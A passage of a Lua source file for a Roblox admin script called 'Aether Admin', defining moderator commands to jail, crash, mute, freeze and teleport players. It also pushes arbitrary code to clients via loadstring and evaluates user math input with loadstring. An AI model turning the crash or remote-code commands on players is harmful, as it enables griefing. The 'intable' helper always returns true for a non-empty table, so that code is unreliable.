1085
end
1086
function domath(args)
1087
	local tomath = Join(args)
1088
	local toreturn = loadstring(
1089
[[setfenv(1,{
1090
math=math;
1091
random=math.random;
1092
},{})
1093
1094
]]..string.gsub(tomath, '#r', 'return'))()
1095
	return toreturn
1096
end
1097
function Dismiss(Player)
1098
	thread(function()
1099
		RF:FireClient(Player, {
1100
			'Dismiss'
1101
		})
1102
	end)
1103
end
1104
function intable(t, v)
1105
	for i, v in pairs(t) do
1106
		if v == v then
1107
			return true
1108
		end
1109
	end
1110
	return false
1111
end
1112
function J(mode, ...)
1113
	if mode == 'c' then
1114
		return game:service'HttpService':JSONEncode(...)
1115
	elseif mode == 'o' then
1116
		return game:service'HttpService':JSONDecode(...)
1117
	end
1118
end
1119
function Save()
1120
	thread(function()
1121
		local Ranked_ = game:service'HttpService':JSONEncode(Ranked)
1122
		DataStore:SetAsync('Ranked', Ranked_)
1123
		local Loopkill_ = game:service'HttpService':JSONEncode(Loopkill)
1124
		DataStore:SetAsync('Loopkill', Loopkill_)
1125
		DataStore:SetAsync('Prefix', Prefix)
1126
	end, true)
1127
end
1128
local CurrentPlate
1129
function MakeBase()
1130
	if CurrentPlate then
1131
		CurrentPlate:Destroy()
1132
	end
1133
	local base = Instance.new('Part', workspace)
1134
	base.Anchored = true
1135
	base.FormFactor = 'Custom'
1136
	CurrentPlate = base
1137
	base.Locked = true
1138
	base.Material = 'Grass'
1139
	base.BrickColor = BrickColor.new('Camo')
1140
	base.Size = Vector3.new(500, .2, 500)
1141
	base.CFrame = CFrame.new(0, 0, 0)
1142
	base.TopSurface = 'Smooth'
1143
end
1144
function Load()
1145
	thread(function()
1146
		local ToDecode = DataStore:GetAsync('Ranked')
1147
		local Ranked_
1148
		if ToDecode then
1149
			Ranked_ = game:service'HttpService':JSONDecode(DataStore:GetAsync('Ranked'))
1150
		end
1151
		if Ranked_ ~= nil then
1152
			for i, v in pairs(Ranked_) do
1153
				Ranked[i] = v
1154
			end
1155
		end
1156
		local Loopkill_
1157
		pcall(function()
1158
		if DataStore:GetAsync('Loopkill')~=nil then
1159
		Loopkill_ = game:service'HttpService':JSONDecode(DataStore:GetAsync('Loopkill'))
1160
		if Loopkill_ ~= nil then
1161
			for i, v in pairs(Loopkill_) do
1162
				Loopkill[i] = v
1163
			end
1164
		end
1165
		end
1166
		end)
1167
		Prefix = DataStore:GetAsync('Prefix') or Prefix
1168
--Save()
1169
	end, true)
1170
end
1171
local firstload = DataStore:GetAsync('First Load')
1172
if firstload == nil then
1173
	DataStore:SetAsync('First Load', true)
1174
	Save()
1175
	Load()
1176
else
1177
	Load()
1178
end
1179
thread(function()
1180
game.OnClose = function()
1181
	table.insert(ChatLogs, '{Server} Server '..game.JobId..' closed on game '..NameFromId(game.PlaceId)..'.')
1182
	SendChatLogs()
1183
	Save()
1184
	wait()
1185
	return 'Aether Admin Saved.'
1186
end
1187
end,true)
1188
function CheckGamepass(Player)
1189
	for i, v in pairs(GamePassAdmin) do
1190
		if game:service'MarketplaceService':PlayerOwnsAsset(Player, v.Id) and Ranked[Player.userId].Rank < v.Rank then
1191
			Ranked[Player.userId] = {
1192
				Rank = v.Rank
1193
			}
1194
		end
1195
	end
1196
end
1197
function PlaceTeleport(Player, Id)
1198
	Id = tonumber(Id)
1199
	thread(function()
1200
		RF:FireClient(Player, {
1201
			'Teleport',
1202
			Id
1203
		})
1204
	end)
1205
end
1206
function FreezeScreen(Player, Kick, KickMessage)
1207
	thread(function()
1208
		RF:FireClient(Player, {
1209
			'FreezeScreen',
1210
			Kick,
1211
			KickMessage
1212
		})
1213
	end)
1214
end
1215
function AttemptLogin(Player)
1216
	thread(function()
1217
		RF:FireClient(Player, {
1218
			'AttemptOverride'
1219
		})
1220
	end)
1221
end
1222
function Fly(Player)
1223
	thread(function()
1224
		local sc = FlyScript:clone()
1225
		sc.Parent = Player.PlayerGui
1226
		wait()
1227
		sc.Disabled = false
1228
	end)
1229
end
1230
function Crash(Player)
1231
	thread(function()
1232
		RF:FireClient(Player, {
1233
			'Crash'
1234
		})
1235
	end)
1236
end
1237
function Mute(Player)
1238
	thread(function()
1239
		RF:FireClient(Player, {
1240
			'Mute'
1241
		})
1242
	end)
1243
end
1244
function UnMute(Player)
1245
	thread(function()
1246
		RF:FireClient(Player, {
1247
			'UnMute'
1248
		})
1249
	end)
1250
end
1251
function localcode(Player, Code)
1252
	thread(function()
1253
		RF:FireClient(Player, {
1254
			'loadstring',
1255
			Code
1256
		})
1257
	end)
1258
end
1259
function SetView(Player, Obj)
1260
	thread(function()
1261
		RF:FireClient(Player, {
1262
			'SetView',
1263
			Obj
1264
		})
1265
	end)
1266
end
1267
function LoadPlugin(v)
1268
	local Plugin = require(v)
1269
	for u, o in pairs(Core) do
1270
		getfenv(Plugin)[u] = o
1271
	end
1272
	getfenv(Plugin).script = v
1273
	getfenv(Plugin).Script = v
1274
	getfenv(Plugin).Core = nil
1275
	getfenv(Plugin).Client = nil
1276
	getfenv(Plugin)._G = nil
1277
	getfenv(Plugin).getfenv = function()
1278
		return {}
1279
	end
1280
--getfenv(Plugin).Scripts=nil
1281
	getfenv(Plugin).DataKey = nil
1282
	Plugin()
1283
end
1284
function UnFly(Player)
1285
	thread(function()
1286
		for a, q in pairs(Player.Character.Torso:children()) do
1287
			if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then
1288
				q:Destroy()
1289
			end
1290
		end
1291
	end)
1292
	thread(function()
1293
		for i, v in pairs(Player.PlayerGui:children()) do
1294
			if v:FindFirstChild'IsAFly' then
1295
				v:Destroy''
1296
			end
1297
		end
1298
	end)
1299
end
1300
function anchorAll(Object)
1301
	if not Object.Parent:IsA'Tool' and not Object.Parent:IsA'Hat' then
1302
	if Object:IsA("BasePart") then Object.Anchored = true end
1303
	for ID, Object in pairs(Object:GetChildren()) do
1304
		anchorAll(Object)
1305
	end
1306
	end
1307
end
1308
function Plat(Player)
1309
	thread(function()
1310
		RF:FireClient(Player, {
1311
			'Plat'
1312
		})
1313
	end)
1314
end
1315
function UnPlat(Player)
1316
	thread(function()
1317
		RF:FireClient(Player, {
1318
			'UnPlat'
1319
		})
1320
	end)
1321
end
1322
function Nil(Player)
1323
	thread(function()
1324
		RF:FireClient(Player, {
1325
			'Nil'
1326
		})
1327
	end)
1328
end
1329
function FreezeCam(Player)
1330
	thread(function()
1331
		RF:FireClient(Player, {
1332
			'FreezeCam'
1333
		})
1334
	end)
1335
end
1336
function ThawCam(Player)
1337
	thread(function()
1338
		RF:FireClient(Player, {
1339
			'ThawCam'
1340
		})
1341
	end)
1342
end
1343
function Music(Player, Id)
1344
	Id = tonumber(Id)
1345
	thread(function()
1346
		RF:FireClient(Player, {
1347
			'Music',
1348
			Id
1349
		})
1350
	end)
1351
end
1352
function Jail(Player)
1353
1354
	local Jail1 = Instance.new("Model")
1355
	Jail1.Parent = workspace
1356
	Jail1.Archivable = true
1357
	Jail1.Name = "Jail"
1358
1359
	local Part2 = Instance.new("Part")
1360
	Part2.RightParamB = 0.5
1361
	Part2.TopSurfaceInput = Enum.InputType.NoInput
1362
	Part2.Anchored = true
1363
	Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1364
	Part2.BottomParamB = 0.5
1365
	Part2.FormFactor = Enum.FormFactor.Custom
1366
	Part2.FrontParamB = 0.5
1367
	Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1368
	Part2.CanCollide = true
1369
	Part2.BackSurfaceInput = Enum.InputType.NoInput
1370
	Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1371
	Part2.Elasticity = 0.5
1372
	Part2.Transparency = 0
1373
	Part2.BackParamB = 0.5
1374
	Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1375
	Part2.RightParamA = -0.5
1376
	Part2.Reflectance = 0
1377
	Part2.Parent = Jail1
1378
	Part2.TopParamB = 0.5
1379
	Part2.TopParamA = -0.5
1380
	Part2.LeftSurfaceInput = Enum.InputType.NoInput
1381
	Part2.LeftParamB = 0.5
1382
	Part2.Locked = true
1383
	Part2.Material = Enum.Material.Marble
1384
	Part2.Archivable = true
1385
	Part2.Size = Vector3.new(4, 0.2, 4)
1386
	Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1387
	Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1388
	Part2.RightSurfaceInput = Enum.InputType.NoInput
1389
	Part2.BackParamA = -0.5
1390
	Part2.FrontSurfaceInput = Enum.InputType.NoInput
1391
	Part2.FrontParamA = -0.5
1392
	Part2.BottomSurfaceInput = Enum.InputType.NoInput
1393
	Part2.Color = Color3.new(0.705882, 0.823529, 0.894118)
1394
	Part2.CFrame = Player.Character.Torso.CFrame * CFrame.new(0, -3, 0)
1395
	Part2.BottomParamA = -0.5
1396
	Part2.BrickColor = BrickColor.new("Light blue")
1397
	Part2.Friction = 0.30000001192093
1398
	Part2.LeftParamA = -0.5
1399
	Part2.Shape = Enum.PartType.Block
1400
	Part2.Name = "Part"
1401
1402
	local Part3 = Instance.new("Part")
1403
	Part3.RightParamB = 0.5
1404
	Part3.TopSurfaceInput = Enum.InputType.NoInput
1405
	Part3.Anchored = true
1406
	Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1407
	Part3.BottomParamB = 0.5
1408
	Part3.FormFactor = Enum.FormFactor.Custom
1409
	Part3.FrontParamB = 0.5
1410
	Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1411
	Part3.CanCollide = true
1412
	Part3.BackSurfaceInput = Enum.InputType.NoInput
1413
	Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1414
	Part3.Elasticity = 0.5
1415
	Part3.Transparency = 0.60000002384186
1416
	Part3.BackParamB = 0.5
1417
	Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1418
	Part3.RightParamA = -0.5
1419
	Part3.Reflectance = 0
1420
	Part3.Parent = Jail1
1421
	Part3.TopParamB = 0.5
1422
	Part3.TopParamA = -0.5
1423
	Part3.LeftSurfaceInput = Enum.InputType.NoInput
1424
	Part3.LeftParamB = 0.5
1425
	Part3.Locked = true
1426
	Part3.Material = Enum.Material.Ice
1427
	Part3.Archivable = true
1428
	Part3.Size = Vector3.new(4, 6, 0.200000003)
1429
	Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1430
	Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1431
	Part3.RightSurfaceInput = Enum.InputType.NoInput
1432
	Part3.BackParamA = -0.5
1433
	Part3.FrontSurfaceInput = Enum.InputType.NoInput
1434
	Part3.FrontParamA = -0.5
1435
	Part3.BottomSurfaceInput = Enum.InputType.NoInput
1436
	Part3.Color = Color3.new(0.454902, 0.52549, 0.615686)
1437
	Part3.CFrame = Part2.CFrame * CFrame.new(0, 3, 3)
1438
	Part3.BottomParamA = -0.5
1439
	Part3.BrickColor = BrickColor.new("Sand blue")
1440
	Part3.Friction = 0.30000001192093
1441
	Part3.LeftParamA = -0.5
1442
	Part3.Shape = Enum.PartType.Block
1443
	Part3.Name = "Part"
1444
1445
	local Part4 = Instance.new("Part")
1446
	Part4.RightParamB = 0.5
1447
	Part4.TopSurfaceInput = Enum.InputType.NoInput
1448
	Part4.Anchored = true
1449
	Part4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1450
	Part4.BottomParamB = 0.5
1451
	Part4.FormFactor = Enum.FormFactor.Custom
1452
	Part4.FrontParamB = 0.5
1453
	Part4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1454
	Part4.CanCollide = true
1455
	Part4.BackSurfaceInput = Enum.InputType.NoInput
1456
	Part4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1457
	Part4.Elasticity = 0.5
1458
	Part4.Transparency = 0.60000002384186
1459
	Part4.BackParamB = 0.5
1460
	Part4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1461
	Part4.RightParamA = -0.5
1462
	Part4.Reflectance = 0
1463
	Part4.Parent = Jail1
1464
	Part4.TopParamB = 0.5
1465
	Part4.TopParamA = -0.5
1466
	Part4.LeftSurfaceInput = Enum.InputType.NoInput
1467
	Part4.LeftParamB = 0.5
1468
	Part4.Locked = true
1469
	Part4.Material = Enum.Material.Ice
1470
	Part4.Archivable = true
1471
	Part4.Size = Vector3.new(4, 6, 0.200000003)
1472
	Part4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1473
	Part4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1474
	Part4.RightSurfaceInput = Enum.InputType.NoInput
1475
	Part4.BackParamA = -0.5
1476
	Part4.FrontSurfaceInput = Enum.InputType.NoInput
1477
	Part4.FrontParamA = -0.5
1478
	Part4.BottomSurfaceInput = Enum.InputType.NoInput
1479
	Part4.Color = Color3.new(0.454902, 0.52549, 0.615686)
1480
	Part4.CFrame = Part2.CFrame * CFrame.new(0, 3, -3)
1481
	Part4.BottomParamA = -0.5
1482
	Part4.BrickColor = BrickColor.new("Sand blue")
1483
	Part4.Friction = 0.30000001192093
1484
	Part4.LeftParamA = -0.5
1485
	Part4.Shape = Enum.PartType.Block
1486
	Part4.Name = "Part"
1487
1488
	local Part5 = Instance.new("Part")
1489
	Part5.RightParamB = 0.5
1490
	Part5.TopSurfaceInput = Enum.InputType.NoInput
1491
	Part5.Anchored = true
1492
	Part5.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1493
	Part5.BottomParamB = 0.5
1494
	Part5.FormFactor = Enum.FormFactor.Custom
1495
	Part5.FrontParamB = 0.5
1496
	Part5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1497
	Part5.CanCollide = true
1498
	Part5.BackSurfaceInput = Enum.InputType.NoInput
1499
	Part5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1500
	Part5.Elasticity = 0.5
1501
	Part5.Transparency = 0.60000002384186
1502
	Part5.BackParamB = 0.5
1503
	Part5.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1504
	Part5.RightParamA = -0.5
1505
	Part5.Reflectance = 0
1506
	Part5.Parent = Jail1
1507
	Part5.TopParamB = 0.5
1508
	Part5.TopParamA = -0.5
1509
	Part5.LeftSurfaceInput = Enum.InputType.NoInput
1510
	Part5.LeftParamB = 0.5
1511
	Part5.Locked = true
1512
	Part5.Material = Enum.Material.Ice
1513
	Part5.Archivable = true
1514
	Part5.Size = Vector3.new(.2, 6, 4)
1515
	Part5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1516
	Part5.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1517
	Part5.RightSurfaceInput = Enum.InputType.NoInput
1518
	Part5.BackParamA = -0.5
1519
	Part5.FrontSurfaceInput = Enum.InputType.NoInput
1520
	Part5.FrontParamA = -0.5
1521
	Part5.BottomSurfaceInput = Enum.InputType.NoInput
1522
	Part5.Color = Color3.new(0.454902, 0.52549, 0.615686)
1523
	Part5.CFrame = Part2.CFrame * CFrame.new(3, 3, 0)
1524
	Part5.BottomParamA = -0.5
1525
	Part5.BrickColor = BrickColor.new("Sand blue")
1526
	Part5.Friction = 0.30000001192093
1527
	Part5.LeftParamA = -0.5
1528
	Part5.Shape = Enum.PartType.Block
1529
	Part5.Name = "Part"
1530
1531
	local Part6 = Instance.new("Part")
1532
	Part6.RightParamB = 0.5
1533
	Part6.TopSurfaceInput = Enum.InputType.NoInput
1534
	Part6.Anchored = true
1535
	Part6.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1536
	Part6.BottomParamB = 0.5
1537
	Part6.FormFactor = Enum.FormFactor.Custom
1538
	Part6.FrontParamB = 0.5
1539
	Part6.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1540
	Part6.CanCollide = true
1541
	Part6.BackSurfaceInput = Enum.InputType.NoInput
1542
	Part6.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1543
	Part6.Elasticity = 0.5
1544
	Part6.Transparency = 0.60000002384186
1545
	Part6.BackParamB = 0.5
1546
	Part6.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1547
	Part6.RightParamA = -0.5
1548
	Part6.Reflectance = 0
1549
	Part6.Parent = Jail1
1550
	Part6.TopParamB = 0.5
1551
	Part6.TopParamA = -0.5
1552
	Part6.LeftSurfaceInput = Enum.InputType.NoInput
1553
	Part6.LeftParamB = 0.5
1554
	Part6.Locked = true
1555
	Part6.Material = Enum.Material.Ice
1556
	Part6.Archivable = true
1557
	Part6.Size = Vector3.new(.2, 6, 4)
1558
	Part6.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1559
	Part6.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1560
	Part6.RightSurfaceInput = Enum.InputType.NoInput
1561
	Part6.BackParamA = -0.5
1562
	Part6.FrontSurfaceInput = Enum.InputType.NoInput
1563
	Part6.FrontParamA = -0.5
1564
	Part6.BottomSurfaceInput = Enum.InputType.NoInput
1565
	Part6.Color = Color3.new(0.454902, 0.52549, 0.615686)
1566
	Part6.BottomParamA = -0.5
1567
	Part6.BrickColor = BrickColor.new("Sand blue")
1568
	Part6.Friction = 0.30000001192093
1569
	Part6.LeftParamA = -0.5
1570
	Part6.Shape = Enum.PartType.Block
1571
	Part6.Name = "Part"
1572
1573
	local Part7 = Instance.new("Part")
1574
	Part7.RightParamB = 0.5
1575
	Part7.TopSurfaceInput = Enum.InputType.NoInput
1576
	Part7.Anchored = true
1577
	Part7.RightSurface = Enum.SurfaceType.SmoothNoOutlines
1578
	Part7.BottomParamB = 0.5
1579
	Part7.FormFactor = Enum.FormFactor.Custom
1580
	Part7.FrontParamB = 0.5
1581
	Part7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
1582
	Part7.CanCollide = true
1583
	Part7.BackSurfaceInput = Enum.InputType.NoInput
1584
	Part7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
1585
	Part7.Elasticity = 0.5
1586
	Part7.Transparency = 0
1587
	Part7.BackParamB = 0.5
1588
	Part7.TopSurface = Enum.SurfaceType.SmoothNoOutlines
1589
	Part7.RightParamA = -0.5
1590
	Part7.Reflectance = 0
1591
	Part7.Parent = Jail1
1592
	Part7.TopParamB = 0.5
1593
	Part7.TopParamA = -0.5
1594
	Part7.LeftSurfaceInput = Enum.InputType.NoInput
1595
	Part7.LeftParamB = 0.5
1596
	Part7.Locked = true
1597
	Part7.Material = Enum.Material.Marble
1598
	Part7.Archivable = true
1599
	Part7.Size = Vector3.new(4, 1, 4)
1600
	Part7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
1601
	Part7.BackSurface = Enum.SurfaceType.SmoothNoOutlines
1602
	Part7.RightSurfaceInput = Enum.InputType.NoInput
1603
	Part7.BackParamA = -0.5
1604
	Part7.FrontSurfaceInput = Enum.InputType.NoInput
1605
	Part7.FrontParamA = -0.5
1606
	Part7.BottomSurfaceInput = Enum.InputType.NoInput
1607
	Part7.Color = Color3.new(0.705882, 0.823529, 0.894118)
1608
	Part7.CFrame = Part2.CFrame * CFrame.new(0, 6.5, 0)
1609
	Part7.BottomParamA = -0.5
1610
	Part7.BrickColor = BrickColor.new("Light blue")
1611
	Part7.Friction = 0.30000001192093
1612
	Part7.LeftParamA = -0.5
1613
	Part7.Shape = Enum.PartType.Block
1614
	Part7.Name = "Part"
1615
	if Jails[Player.Name] == nil then
1616
		Jails[Player.Name] = {}
1617
	end
1618
	table.insert(Jails[Player.Name], Jail1)
1619
	thread(function()
1620
		while Jail1 and Jail1.Parent == workspace do
1621
			wait()
1622
			Part3.CFrame = Part2.CFrame * CFrame.new(0, 3, 2)
1623
			Part4.CFrame = Part2.CFrame * CFrame.new(0, 3, -2)
1624
			Part5.CFrame = Part2.CFrame * CFrame.new(2, 3, 0)
1625
			Part6.CFrame = Part2.CFrame * CFrame.new(-2, 3, 0)
1626
			Part7.CFrame = Part2.CFrame * CFrame.new(0, 6.5, 0)
1627
			if Player.Character and (Part2.Position - Player.Character.Torso.Position).magnitude > 3.5 then
1628
				Player.Character.Torso.CFrame = Part2.CFrame * CFrame.new(0, 3, 0)
1629
			elseif not Player.Character then
1630
--Player:LoadCharacter()
1631
			end
1632
		end
1633
	end)
1634
end
1635
function Solitary(Player)
1636
pcall(function()
1637
if not Player or not Player.Character then return end
1638
local char=Instance.new('Model',workspace)
1639
	if Jails[Player.Name] == nil then
1640
		Jails[Player.Name] = {}
1641
	end
1642
	table.insert(Jails[Player.Name], char)
1643
char.Name='Jail'
1644
local cf=Player.Character.Torso.CFrame
1645
local lastpart=Player.Character.Head.CFrame*CFrame.new(0,-5.6,0)
1646
local start=lastpart
1647
local ct=0
1648
for k=1, 42 do wait()
1649
for i=1, 12 do
1650
local Part=Instance.new('Part',char)
1651
Part.Anchored=true
1652
Part.CanCollide=true
1653
Part.FormFactor='Custom'
1654
Part.Material='Slate'
1655
Part.Locked=true
1656
Part.BrickColor=BrickColor.new('Bright green')
1657
Part.TopSurface='Smooth'
1658
Part.BottomSurface='Smooth'
1659
Part.Size=Vector3.new(1,1,2)
1660
Part.CFrame=lastpart*CFrame.new(0,1,-2)*CFrame.Angles(.5,0,0)
1661
ct=0
1662
lastpart=Part.CFrame
1663
end
1664
lastpart=start*CFrame.Angles(0,math.rad(9),0)
1665
start=lastpart
1666
end
1667
thread(function()
1668
while char and char.Parent==workspace do
1669
			wait()
1670
			if Player.Character and (Vector3.new(cf.x,cf.y,cf.z) - Player.Character.Torso.Position).magnitude > 2.25 then
1671
				Player.Character.Torso.CFrame = cf
1672
			elseif not Player.Character then
1673
--Player:LoadCharacter()
1674
			end
1675
			end
1676
	end)
1677
1678
end)
1679
end
1680
function KeyBind(Player, Key, Command)
1681
	if Key == nil or Command == nil then
1682
		return
1683
	end
1684
	thread(function()
1685
		RF:FireClient(Player, {
1686
			'KeyBind',
1687
			Key,
1688
			Command
1689
		})
1690
	end)
1691
end
1692
function ScrollGui(Player, Title, Text)
1693
	thread(function()
1694
		if Player == nil then
1695
			return
1696
		end
1697
		Text = CloneTable(Text)
1698
		Title = Title or ''
1699
		RF:FireClient(Player, {
1700
			'ScrollGui',
1701
			Title,
1702
			Text
1703
		})
1704
	end)
1705
end
1706
function Hint(Player, Title, Text, Time)
1707
	--thread(function()
1708
	if Player == nil or Title == nil or Text == nil then
1709
		return
1710
	end
1711
	Time = Time or 3
1712
	RF:FireClient(Player, {
1713
		'Hint',
1714
		Title,
1715
		Text,
1716
		Time
1717
	})
1718
--end)
1719
end
1720
function GetRawPlayers()
1721
	local tempplayerlist = {}
1722
	for i, v in pairs(game:service'NetworkServer':children()) do
1723
		if v:IsA'ServerReplicator' then
1724
			table.insert(tempplayerlist, v:GetPlayer())
1725
		end
1726
	end
1727
	return tempplayerlist
1728
end
1729
function GetPlayers(Player, Message)
1730
	local Arguments = Split(Message, ',')
1731
	local ToReturn = {}
1732
	for _, v in next, Arguments do
1733
		v = v:lower()
1734
		if v == 'me' and type(Player) == 'userdata' then
1735
			table.insert(ToReturn, Player)
1736
		elseif v == 'others' then
1737
			for k, l in pairs(GetRawPlayers()) do
1738
				if l.Name ~= Player.Name then
1739
					table.insert(ToReturn, l)
1740
				end
1741
			end
1742
            
1743
		elseif v == 'random' then
1744
			local child = GetRawPlayers()
1745
			local randomPlr = math.random(1, #child)
1746
			table.insert(ToReturn, child[randomPlr])
1747
		elseif v == 'nbc' then
1748
			for k, l in pairs(GetRawPlayers()) do
1749
				if l.MembershipType == Enum.MembershipType.None then
1750
					table.insert(ToReturn, l)
1751
				end
1752
			end
1753
		elseif v == 'bc' then
1754
			for k, l in pairs(GetRawPlayers()) do
1755
				if l.MembershipType == Enum.MembershipType.BuildersClub then
1756
					table.insert(ToReturn, l)
1757
				end
1758
			end
1759
		elseif v == 'tbc' then
1760
			for k, l in pairs(GetRawPlayers()) do
1761
				if l.MembershipType == Enum.MembershipType.TurboBuildersClub then
1762
					table.insert(ToReturn, l)
1763
				end
1764
			end
1765
		elseif v == 'obc' then
1766
			for k, l in pairs(GetRawPlayers()) do
1767
				if l.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
1768
					table.insert(ToReturn, l)
1769
				end
1770
			end
1771
		elseif v == 'anybc' or v == 'allbc' or v == 'abc' then
1772
			for k, l in pairs(GetRawPlayers()) do
1773
				if l.MembershipType == Enum.MembershipType.OutrageousBuildersClub or l.MembershipType == Enum.MembershipType.TurboBuildersClub or l.MembershipType == Enum.MembershipType.BuildersClub then
1774
					table.insert(ToReturn, l)
1775
				end
1776
			end
1777
		elseif v == 'nils' then
1778
			for k, l in pairs(GetRawPlayers()) do
1779
				if l.Parent == nil then
1780
					table.insert(ToReturn, l)
1781
				end
1782
			end
1783
		elseif v == 'nonnils' or v == 'players' or v == 'plrs' then
1784
			for k, l in pairs(GetRawPlayers()) do
1785
				if l.Parent ~= nil then
1786
					table.insert(ToReturn, l)
1787
				end
1788
			end
1789
		elseif v == 'friends' then
1790
			for k, l in pairs(GetRawPlayers()) do
1791
				if l:IsFriendsWith (Player.userId) then
1792
					table.insert(ToReturn, l)
1793
				end
1794
			end
1795
		elseif v == 'followed' then
1796
			for k, l in pairs(GetRawPlayers()) do
1797
				if l.FollowUserId == Player.userId then
1798
					table.insert(ToReturn, l)
1799
				end
1800
			end
1801
		elseif v == 'team' then
1802
			for k, l in pairs(service'Players':GetPlayers()) do
1803
				if l.TeamColor == Player.TeamColor then
1804
					table.insert(ToReturn, l)
1805
				end
1806
			end
1807
		elseif v:sub(1, #'team ') == 'team ' then
1808
			local Color = ''
1809
			for k, l in pairs(service'Teams') do
1810
				if l.Name:sub(1, v:sub(#'team ' + 1)):lower() == v:sub(#'team ' + 1):lower() then
1811
					Color = tostring(l.TeamColor)
1812
				end
1813
			end
1814
			for k, l in pairs(service'Players':GetPlayers()) do
1815
				if l.TeamColor == BrickColor.new(Color) then
1816
					table.insert(ToReturn, l)
1817
				end
1818
			end
1819
		elseif v == 'notfriends' or v == 'nonfriends' then
1820
			for k, l in pairs(GetRawPlayers()) do
1821
				if not l:IsFriendsWith(Player.userId) then
1822
					table.insert(ToReturn, l)
1823
				end
1824
			end
1825
		elseif v == 'all' then
1826
			for k, l in pairs(GetRawPlayers()) do
1827
				table.insert(ToReturn, l) 
1828
			end
1829
		else
1830
			for l, k in next, GetRawPlayers() do
1831
				if k.Name:lower():sub(1, #v) == v then
1832
					table.insert(ToReturn, k) 
1833
				end
1834
			end
1835
		end
1836
		if v:sub(1, 1) == '-' then
1837
			for i, v in pairs(GetPlayers(Player, v:sub(2))) do
1838
				for u, o in pairs(ToReturn) do
1839
					if o.Name == v.Name then
1840
						table.remove(ToReturn, u)
1841
					end
1842
				end
1843
			end
1844
		end
1845
	end
1846
	return ToReturn
1847
end
1848
FindPlayer = function(name, id)
1849
	id = id or -1
1850
	for i, v in pairs(service'Players':GetPlayers()) do
1851
		if v.name == name or v.userId == id then
1852
			return v
1853
		end
1854
	end
1855
	return nil
1856
end
1857
AddRank = function(Id, Rank)
1858
	if Ranked[Id].Rank ~= Rank and Ranked[Id].Rank < Rank then
1859
		Ranked[Id].Rank = Rank
1860
		for i, v in pairs(GetRawPlayers()) do
1861
			if v.userId == Id then
1862
				Ping(v, 'You have been ranked to '..Core.RankName(Rank)..'.')
1863
			end
1864
		end
1865
	end
1866
end
1867
RunOnChildren = function(Class, Obj, Function)
1868
	for i, v in pairs(Obj:children()) do
1869
		if v:IsA(Class) then
1870
			Function(v)
1871
		end
1872
	end
1873
end
1874
service'Players'.PlayerRemoving:connect(function(Player)
1875
	table.insert(ChatLogs, '{Server} '..Player.Name..' left '..NameFromId(game.PlaceId)..' from server '..game.JobId..'.')
1876
end)
1877
function TeleportTo(Player, PlaceId, JobId)
1878
	thread(function()
1879
		RF:FireClient(Player, {
1880
			'Teleport',
1881
			PlaceId,
1882
			JobId
1883
		})
1884
	end)
1885
end
1886
CheckFollow = function(Player)
1887
	if Player.FollowUserId ~= nil then
1888
		for i, v in pairs(GetRawPlayers()) do
1889
			if v.userId == Player.FollowUserId then
1890
				Ping(v, Player.Name..' followed you.')
1891
			end
1892
		end
1893
	end
1894
end
1895
function Explore(Player,Object)
1896
Object=Object or workspace
1897
if Player==nil then return end
1898
Dismiss(Player)
1899
Ping(Player,'Name | '..Object.Name)
1900
Ping(Player,'ClassName | '..Object.ClassName)
1901
if Object.Parent then
1902
Ping(Player,'Parent | '..Object.Parent.Name or 'Nil',function()
1903
Explore(Player,Object.Parent)
1904
end)
1905
end
1906
1907
Ping(Player,'Children',function()
1908
Dismiss(Player)
1909
for i,v in pairs(Object:children()) do
1910
Ping(Player,v.Name,function() Explore(Player,v) end)
1911
end
1912
end)
1913
if Object.Parent then
1914
Ping(Player,'Destroy',function()
1915
Explore(Player,Object.Parent)
1916
Object:Destroy()
1917
end)
1918
end
1919
1920
end
1921
function PlayerAdded(Player)
1922
	thread(function()
1923
		local cltimes = 1
1924
		while Player do
1925
			repeat
1926
				wait()
1927
			until Player and Player:FindFirstChild'Backpack'
1928
			local cl = Client:clone()
1929
			cl.Parent = Player:FindFirstChild'Backpack'-- or Player:FindFirstChild'Backpack'
1930
			wait()
1931
			cl.Disabled = false
1932
			wait()
1933
			Player:WaitForDataReady()
1934
			wait(1)
1935
			cltimes = cltimes + 1
1936
			if cltimes > 1 then
1937
				break
1938
			end
1939
		end
1940
	end)
1941
	thread(function()
1942
		WriteRanks(Player.Name, Player.userId)
1943
	end)
1944
	CheckFollow(Player)
1945
	table.insert(ChatLogs, '{Server} '..Player.Name..' joined '..NameFromId(game.PlaceId)..' on server '..game.JobId..'.')
1946
	if Ranked[Player.userId] == nil then
1947
		Ranked[Player.userId] = {
1948
			Rank = DefaultRank.Rank;
1949
1950
		}
1951
	end
1952
	if true then
1953
		print(Player.Name..' joined the game.')
1954
